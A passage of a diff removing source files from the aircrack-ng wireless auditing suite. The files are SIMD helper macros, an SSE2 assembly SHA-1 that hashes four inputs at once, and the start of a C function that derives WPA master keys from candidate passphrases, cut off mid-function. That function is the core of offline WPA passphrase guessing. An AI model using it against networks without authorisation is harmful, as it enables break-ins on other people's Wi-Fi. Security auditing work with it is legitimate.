-#define INLINE inline
-#endif
-
-#if VLOADU_EMULATED
-static INLINE vtype vloadu_emu(const void *addr)
-{
-	if (is_aligned(addr, MEM_ALIGN_SIMD))
-		return vload(addr);
-	else {
-		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
-
-		return vload(memcpy(buf, addr, sizeof(vtype)));
-	}
-}
-#endif
-
-#if VSTOREU_EMULATED
-static INLINE void vstoreu_emu(void *addr, vtype v)
-{
-	if (is_aligned(addr, MEM_ALIGN_SIMD))
-		vstore(addr, v);
-	else {
-		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
-
-		vstore(buf, v);
-		memcpy(addr, buf, sizeof(vtype));
-	}
-}
-#endif
-
-#define vswap32_emu(x) \
-	x = vxor(vsrli_epi32(x, 24),                                            \
-	         vxor(vslli_epi32(vsrli_epi32(vslli_epi32(x, 8), 24), 8),       \
-	              vxor(vsrli_epi32(vslli_epi32(vsrli_epi32(x, 8), 24), 8),  \
-                       vslli_epi32(x, 24))))
-#define vswap64_emu(x) \
-	(x = vxor(vsrli_epi64(x, 32), vslli_epi64(x, 32)), vswap32_emu(x))
-
-#if VCMOV_EMULATED
-#if VANDNOT_EMULATED /* currently never */
-#define vcmov_emu(x, y, z)      vxor(y, vand(z, vxor(x, y)))
-#else
-#define vcmov_emu(x, y, z)      vxor(vand(z, x), vandnot(z, y))
-#endif
-#endif
-
-#if __SSE3__ || __MIC__
-#define vslli_epi64a(a, s)      vslli_epi64(a, s)
-
-#else
-/* Optimization for really old CPUs for << 1 (for vroti -1) (eg. SHA512) */
-#define vslli_epi64a(a, s) ((s) == 1 ?              \
-     vadd_epi64((a), (a)) : vslli_epi64((a), (s)))
-
-#endif /* __SSE3__ || __MIC__ */
-
-/*
- * vroti must handle both ROTL and ROTR. If s < 0, then ROTR. Note that
- * the ternary will normally be optimized away!
- */
-#define vroti_epi32_emu(a, s)  ((s) < 0 ?                               \
-     vxor(vsrli_epi32((a), ~(s) + 1), vslli_epi32((a), 32 + (s))) :     \
-     vxor(vslli_epi32((a), (s)), vsrli_epi32((a), 32 - (s))))
-
-#define vroti_epi64_emu(a, s)  ((s) < 0 ?                               \
-     vxor(vsrli_epi64((a), ~(s) + 1), vslli_epi64a((a), 64 + (s))) :    \
-     vxor(vslli_epi64a((a), (s)), vsrli_epi64((a), 64 - (s))))
-
-#endif /* SIMD_COEF_32 */
-
-#endif /* _SSE_PSEUDO_H */

aircrack-ng-1.2-rc4.tar.gz/src/sha1-sse2.S Deleted

@@ -1,619 +0,0 @@
-
-// SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2
-// SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain
-
-// This code computes two (with sse now four) SHA-1 digests at the same time. It
-// doesn't take care of padding (0x80 and size << 3), so make
-// sure the last input block is properly padded. Both 64-byte
-// input blocks must be (four bytes) interleaved.
-
-//  In addition, as a special exception, the copyright holders give
-//  permission to link the code of portions of this program with the
-//  OpenSSL library under certain conditions as described in each
-//  individual source file, and distribute linked combinations
-//  including the two.
-//  You must obey the GNU General Public License in all respects
-//  for all of the code used other than OpenSSL. *  If you modify
-//  file(s) with this exception, you may extend this exception to your
-//  version of the file(s), but you are not obligated to do so. *  If you
-//  do not wish to do so, delete this exception statement from your
-//  version. *  If you delete this exception statement from all source
-//  files in the program, then also delete it here.
-
-#if defined(__x86_64__) && defined(__APPLE__)
-#define PRELOAD(x)
-#define MANGLE(x) x(%rip)
-#define INIT_PIC()
-#define END_PIC()
-#else
-#ifdef __PIC__
-
-#ifdef __x86_64__
-#define PRELOAD(x)  movq x@GOTPCREL(%rip), %rbx;
-#define MANGLE(x)   (%rbx)
-#define INIT_PIC()  pushq %rbx
-#define END_PIC()   popq  %rbx
-#else
-#undef __i686 /* gcc builtin define gets in our way */
-#define PRELOAD(x)  
-#define MANGLE(x)   x ## @GOTOFF(%ebx)
-#define INIT_PIC() \
-	call __i686.get_pc_thunk.bx ; \
-	addl $_GLOBAL_OFFSET_TABLE_, %ebx
-#define END_PIC()
-#endif
-
-#else
-
-#define PRELOAD(x)  
-#define MANGLE(x) x
-#define INIT_PIC()
-#define END_PIC()
-
-#endif
-#endif
-
-#if defined(__i386__) || defined(__x86_64__)
-
-.globl  shasse2_init;
-.globl  shasse2_ends;
-.globl  shasse2_data;
-.globl  shasse2_cpuid;
-
-.globl _shasse2_init;
-.globl _shasse2_ends;
-.globl _shasse2_data;
-.globl _shasse2_cpuid;
-
-.data
-#ifdef __APPLE__
-.align(12)
-#else
-.align(16)
-#endif
-const_init_a:
-.long 0x67452301
-.long 0x67452301
-.long 0x67452301
-.long 0x67452301
-const_init_b:
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-.long 0xEFCDAB89
-const_init_c:
-.long 0x98BADCFE
-.long 0x98BADCFE
-.long 0x98BADCFE
-.long 0x98BADCFE
-const_init_d:
-.long 0x10325476
-.long 0x10325476
-.long 0x10325476
-.long 0x10325476
-const_init_e:
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-.long 0xC3D2E1F0
-const_stage0:
-.long 0x5A827999
-.long 0x5A827999
-.long 0x5A827999
-.long 0x5A827999
-const_stage1:
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-.long 0x6ED9EBA1
-const_stage2:
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-.long 0x8F1BBCDC
-const_stage3:
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-.long 0xCA62C1D6
-const_ff00:
-.long 0xFF00FF00
-.long 0xFF00FF00
-.long 0xFF00FF00
-.long 0xFF00FF00
-const_00ff:
-.long 0x00FF00FF
-.long 0x00FF00FF
-.long 0x00FF00FF
-.long 0x00FF00FF
-
-#define ctxa %xmm0
-#define ctxb %xmm1
-#define ctxc %xmm2
-#define ctxd %xmm3
-#define ctxe %xmm4
-#define tmp1 %xmm5
-#define tmp2 %xmm6
-#define tmp3 %xmm7
-#define tmp4 ctxa
-#define tmp5 ctxb
-
-#ifdef __x86_64__
- #define edx_rsi %rsi
- #define ecx_rdx %rdx
- #define eax_rdi %rdi
-#else
- #define edx_rsi %edx
- #define ecx_rdx %ecx
- #define eax_rdi %eax
-#endif
-
-// movdqa movapd
-
-#define F0(x,y,z)       \
-        movdqa   x, tmp2; \
-        movdqa   x, tmp1; \
-        pand   y, tmp2; \
-        pandn  z, tmp1; \
-        por    tmp2, tmp1; 
-
-#define F1(x,y,z)       \
-        movdqa   z, tmp1; \
-        pxor   y, tmp1; \
-        pxor   x, tmp1
-
-#define F2(x,y,z)       \
-        movdqa   x, tmp1; \
-        movdqa   x, tmp2; \
-        pand   y, tmp1; \
-        por    y, tmp2; \
-        pand   z, tmp2; \
-        por    tmp2, tmp1;
-        
-#if defined(__x86_64__) && defined(__CYGWIN__)
-#define subRoundX(a, b, c, d, e, f, k, data)    \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        paddd  MANGLE(k), e;			\
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;                         \
-        movdqa   (data*16)(edx_rsi), tmp1;      \
-        movdqa   tmp1, tmp2;                    \
-        pand   MANGLE(const_ff00), tmp1;        \
-        pand   MANGLE(const_00ff), tmp2;        \
-        psrld  $8, tmp1;                        \
-        pslld  $8, tmp2;                        \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, tmp2;                    \
-        psrld  $16, tmp1;                       \
-        pslld  $16, tmp2;                       \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, (data*16)(ecx_rdx);      \
-        paddd  tmp1, e;
-#else
-#define subRoundX(a, b, c, d, e, f, k, data)    \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        PRELOAD(k)				\
-        paddd  MANGLE(k), e;			\
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;                         \
-        movdqa   (data*16)(edx_rsi), tmp1;      \
-        movdqa   tmp1, tmp2;                    \
-        PRELOAD(const_ff00)			\
-        pand   MANGLE(const_ff00), tmp1;        \
-        PRELOAD(const_00ff)			\
-        pand   MANGLE(const_00ff), tmp2;        \
-        psrld  $8, tmp1;                        \
-        pslld  $8, tmp2;                        \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, tmp2;                    \
-        psrld  $16, tmp1;                       \
-        pslld  $16, tmp2;                       \
-        por    tmp2, tmp1;                      \
-        movdqa   tmp1, (data*16)(ecx_rdx);      \
-        paddd  tmp1, e;
-#endif
-
-#if defined(__x86_64__) && defined(__CYGWIN__)
-#define subRoundY(a, b, c, d, e, f, k, data)    \
-	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
-        movdqa   tmp1, tmp2;                    \
-        pslld    $1, tmp1;                      \
-        psrld   $31, tmp2;                      \
-        por    tmp2, tmp1;                      \
-        movdqa  tmp1, (data*16)(ecx_rdx);       \
-        paddd  tmp1, e;                         \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        paddd  MANGLE(k), e;                    \
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;
-#else
-#define subRoundY(a, b, c, d, e, f, k, data)    \
-	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
-        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
-        movdqa   tmp1, tmp2;                    \
-        pslld    $1, tmp1;                      \
-        psrld   $31, tmp2;                      \
-        por    tmp2, tmp1;                      \
-        movdqa  tmp1, (data*16)(ecx_rdx);       \
-        paddd  tmp1, e;                         \
-        f(b,c,d);                               \
-        movdqa   a, tmp2;                       \
-        movdqa   a, tmp3;                       \
-        paddd  tmp1, e;                         \
-        pslld    $5, tmp2;                      \
-        psrld   $27, tmp3;                      \
-        por    tmp3, tmp2;                      \
-        paddd  tmp2, e;                         \
-        movdqa   b, tmp2;                       \
-        pslld  $30, b;                          \
-        PRELOAD(k)				\
-        paddd  MANGLE(k), e;                    \
-        psrld  $2, tmp2;                        \
-        por    tmp2, b;
-#endif 
-.text
-
-// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
-
- shasse2_init:
-_shasse2_init:
-
-        INIT_PIC()
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_init_a)
-#endif
-        movdqa   MANGLE(const_init_a), ctxa
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_init_b)
-#endif
-        movdqa   MANGLE(const_init_b), ctxb
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_init_c)
-#endif
-        movdqa   MANGLE(const_init_c), ctxc
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_init_d)
-#endif
-        movdqa   MANGLE(const_init_d), ctxd
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_init_e)
-#endif
-        movdqa   MANGLE(const_init_e), ctxe
-
-        movdqa   ctxa, 0(eax_rdi)
-        movdqa   ctxb, 16(eax_rdi)
-        movdqa   ctxc, 32(eax_rdi)
-        movdqa   ctxd, 48(eax_rdi)
-        movdqa   ctxe, 64(eax_rdi)
-        END_PIC()
-
-        ret
-
-// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
-// arg 2 (edx) (64bit: rsi) : digests (4*20 bytes)
-
- shasse2_ends:
-_shasse2_ends:
-
-        INIT_PIC()
-	movdqa    0(eax_rdi), ctxa
-        movdqa   16(eax_rdi), ctxb
-        movdqa   32(eax_rdi), ctxc
-        movdqa   48(eax_rdi), ctxd
-        movdqa   64(eax_rdi), ctxe
-
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_ff00)
-#endif
-        movdqa   MANGLE(const_ff00), tmp3
-        movdqa   ctxa, tmp1
-        movdqa   ctxb, tmp2
-        pand   tmp3, ctxa
-        pand   tmp3, ctxb
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_00ff)
-#endif
-        movdqa   MANGLE(const_00ff), tmp3
-        pand   tmp3, tmp1
-        pand   tmp3, tmp2
-        psrld  $8, ctxa
-        psrld  $8, ctxb
-        pslld  $8, tmp1
-        pslld  $8, tmp2
-        por    tmp1, ctxa
-        por    tmp2, ctxb
-        movdqa   ctxa, tmp1
-        movdqa   ctxb, tmp2
-        psrld  $16, ctxa
-        psrld  $16, ctxb
-        pslld  $16, tmp1
-        pslld  $16, tmp2
-        por    tmp1, ctxa
-        por    tmp2, ctxb 
-        movdqa   ctxa,  0(edx_rsi)
-        movdqa   ctxb,  16(edx_rsi)
-
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_ff00)
-#endif
-        movdqa   MANGLE(const_ff00), tmp5
-        movdqa   ctxc, tmp1
-        movdqa   ctxd, tmp2
-        movdqa   ctxe, tmp3
-        pand   tmp5, ctxc
-        pand   tmp5, ctxd
-        pand   tmp5, ctxe
-#if !defined(__x86_64__) && !defined(__CYGWIN__)
-        PRELOAD(const_00ff)
-#endif
-        movdqa   MANGLE(const_00ff), tmp5
-        pand   tmp5, tmp1
-        pand   tmp5, tmp2
-        pand   tmp5, tmp3
-        psrld  $8, ctxc
-        psrld  $8, ctxd
-        psrld  $8, ctxe
-        pslld  $8, tmp1
-        pslld  $8, tmp2
-        pslld  $8, tmp3
-        por    tmp1, ctxc
-        por    tmp2, ctxd
-        por    tmp3, ctxe
-        movdqa   ctxc, tmp1
-        movdqa   ctxd, tmp2
-        movdqa   ctxe, tmp3
-        psrld  $16, ctxc
-        psrld  $16, ctxd
-        psrld  $16, ctxe
-        pslld  $16, tmp1
-        pslld  $16, tmp2
-        pslld  $16, tmp3
-        por    tmp1, ctxc
-        por    tmp2, ctxd
-        por    tmp3, ctxe
-
-        movdqa   ctxc, 32(edx_rsi)
-        movdqa   ctxd, 48(edx_rsi)
-        movdqa   ctxe, 64(edx_rsi)
-        END_PIC()
-
-        ret
-
-// arg 1 (eax) (64bit: rdi): context     (4*20 bytes)
-// arg 2 (edx) (64bit: rsi): input data (4*64 bytes)
-// arg 3 (ecx) (64bit: rdx): workspace  (1280 bytes)
-
- shasse2_data:
-_shasse2_data:
-
-        INIT_PIC()
-        movdqa    0(eax_rdi), ctxa
-        movdqa   16(eax_rdi), ctxb
-        movdqa   32(eax_rdi), ctxc
-        movdqa   48(eax_rdi), ctxd
-        movdqa   64(eax_rdi), ctxe
-
-round0:
-
-        prefetchnta (edx_rsi)
-
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  0 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  1 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  2 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  3 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  4 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  5 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  6 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  7 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  8 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  9 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 );
-        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 );
-        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 );
-        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 );
-        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 );
-        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 );
-
-round1:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 );
-
-round2:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 );
-
-round3:
-
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 );
-        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 );
-        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 );
-        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 );
-        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 );
-        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 );
-
-        paddd    0(eax_rdi), ctxa
-        paddd   16(eax_rdi), ctxb
-        paddd   32(eax_rdi), ctxc
-        paddd   48(eax_rdi), ctxd
-        paddd   64(eax_rdi), ctxe
-
-        movdqa    ctxa,  0(eax_rdi)
-        movdqa    ctxb, 16(eax_rdi)
-        movdqa    ctxc, 32(eax_rdi)
-        movdqa    ctxd, 48(eax_rdi)
-        movdqa    ctxe, 64(eax_rdi)
-        END_PIC()
-
-        ret
-
-// returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported
- shasse2_cpuid:
-_shasse2_cpuid:
-#ifndef __x86_64__
-		pushfl
-		pushfl
-		popl	%eax
-		movl	%eax, %ecx
-		xorl	$0x200000, %eax
-		push	%eax
-		popfl
-		pushfl
-		popl	%eax
-		popfl
-		xorl	%ecx, %eax
-		jnz		do_cpuid
-		ret
-do_cpuid:
-#endif   	
-
-#ifdef __x86_64__
-		push    %rbx
-		push    %rcx
-		push    %rdx
-#else
-		push	%ebx
-		push	%ecx
-		push	%edx
-#endif		
-   		movl	$1, %eax
-   		cpuid
-   		
-		testl	$0x00800000, %edx  // bit 23 (MMX)
-		jz		no_mmx
-   		testl	$0x04000000, %edx  // bit 26 (SSE2)
-   		jz		mmx_only
-   		
-		// sse2 supported:
-		movl	$2, %eax
-		jmp		cpuid_exit
-		
-mmx_only:
-		movl	$1, %eax
-		jmp		cpuid_exit
-
-no_mmx:
-		movl	$0, %eax
-
-cpuid_exit:
-#ifdef __x86_64__
-		pop		%rdx
-		pop		%rcx
-		pop		%rbx
-#else
-		pop		%edx
-		pop		%ecx
-		pop		%ebx
-#endif
-		ret
-#ifdef __i386__
-#ifdef __PIC__
-#ifndef __APPLE__
-	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
-#endif
-.globl __i686.get_pc_thunk.bx
-
-#ifdef __APPLE__
-    .private_extern  __i686.get_pc_thunk.bx
-#else
-	.hidden  __i686.get_pc_thunk.bx
-	.type    __i686.get_pc_thunk.bx,@function
-#endif
-__i686.get_pc_thunk.bx:
-	movl (%esp), %ebx
-	ret
-#endif
-#endif
-#endif
-
-
-#ifdef __ELF__
-.section .note.GNU-stack,"",%progbits
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/sha1-sse2.h Deleted

@@ -1,283 +0,0 @@
-/* C code for SSE2 (i386) optimized SHA1 - License: GPLv2
- * (c) nx5 <naplam33@msn.com>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#include <time.h>
-
-#include "crypto.h"
-
-
-#if defined(__i386__) || defined(__x86_64__)
-
-#ifdef OLD_SSE_CORE
-void show_result(char* key, unsigned char* pmk)
-{
-	int i;
-	printf("%-14s ", key);
-	for (i=0; i<32; i++)
-		printf("%.2X", pmk[i]);
-	printf("\n");
-}
-
-#endif
-extern int shasse2_init( unsigned char ctx[80] )
-    __attribute__((regparm(1)));
-
-extern int shasse2_ends( unsigned char ctx[80], unsigned char digests[80] )
-    __attribute__((regparm(2)));
-
-extern int shasse2_data( unsigned char ctx[80], unsigned char data[256], unsigned char buf[1280] )
-    __attribute__((regparm(3)));
-
-extern int shasse2_cpuid( void );
-
-#ifdef OLD_SSE_CORE
-void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, unsigned char* _pmk1, unsigned char* _pmk2, unsigned char* _pmk3, unsigned char* _pmk4)
-{
-	int slen;
-    char  essid[36] __attribute__ ((aligned (16)));
-    char  key1[128] __attribute__ ((aligned (16)));
-	char  key2[128] __attribute__ ((aligned (16)));
-    char  key3[128] __attribute__ ((aligned (16)));
-	char  key4[128] __attribute__ ((aligned (16)));
-    unsigned char pmks[128*4] __attribute__ ((aligned (16)));
-
-	// All in double size
-    unsigned char k_ipad[256] __attribute__ ((aligned (16)));
-	unsigned char ctx_ipad[80] __attribute__ ((aligned (16)));
-    unsigned char k_opad[256] __attribute__ ((aligned (16)));
-	unsigned char ctx_opad[80] __attribute__ ((aligned (16)));
-    unsigned char buffer[256] __attribute__ ((aligned (16)));
-	unsigned char sha1_ctx[80] __attribute__ ((aligned (16)));
-    unsigned char wrkbuf[1280] __attribute__ ((aligned (16)));
-    unsigned i, *u, *v, *w, *u3, *v4;
-	unsigned char *pmk1, *pmk2, *pmk3, *pmk4;
-
-	pmk1=pmks; pmk2=pmks+128; pmk3=pmks+128*2; pmk4=pmks+128*3;
-
-
-	strncpy(essid, _essid, 35);
-	strncpy(key1, _key1, 127);
-	strncpy(key2, _key2, 127);
-	strncpy(key3, _key3, 127);
-	strncpy(key4, _key4, 127);
-
-    slen = strlen( essid ) + 4;
-
-
-		/* SSE2 available, so compute four PMKs in a single row */
-
-        memset( k_ipad, 0, sizeof( k_ipad ) );
-        memset( k_opad, 0, sizeof( k_opad ) );
-
-        memcpy( k_ipad, key1, strlen( key1 ) );
-        memcpy( k_opad, key1, strlen( key1 ) );
-
-        memcpy( k_ipad + 64, key2, strlen( key2 ) );
-        memcpy( k_opad + 64, key2, strlen( key2 ) );
-
-        memcpy( k_ipad + 128, key3, strlen( key3 ) );
-        memcpy( k_opad + 128, key3, strlen( key3 ) );
-
-		memcpy( k_ipad + 192, key4, strlen( key4 ) );
-        memcpy( k_opad + 192, key4, strlen( key4 ) );
-
-
-        u = (unsigned *) ( k_ipad      );
-        v = (unsigned *) ( k_ipad + 64 );
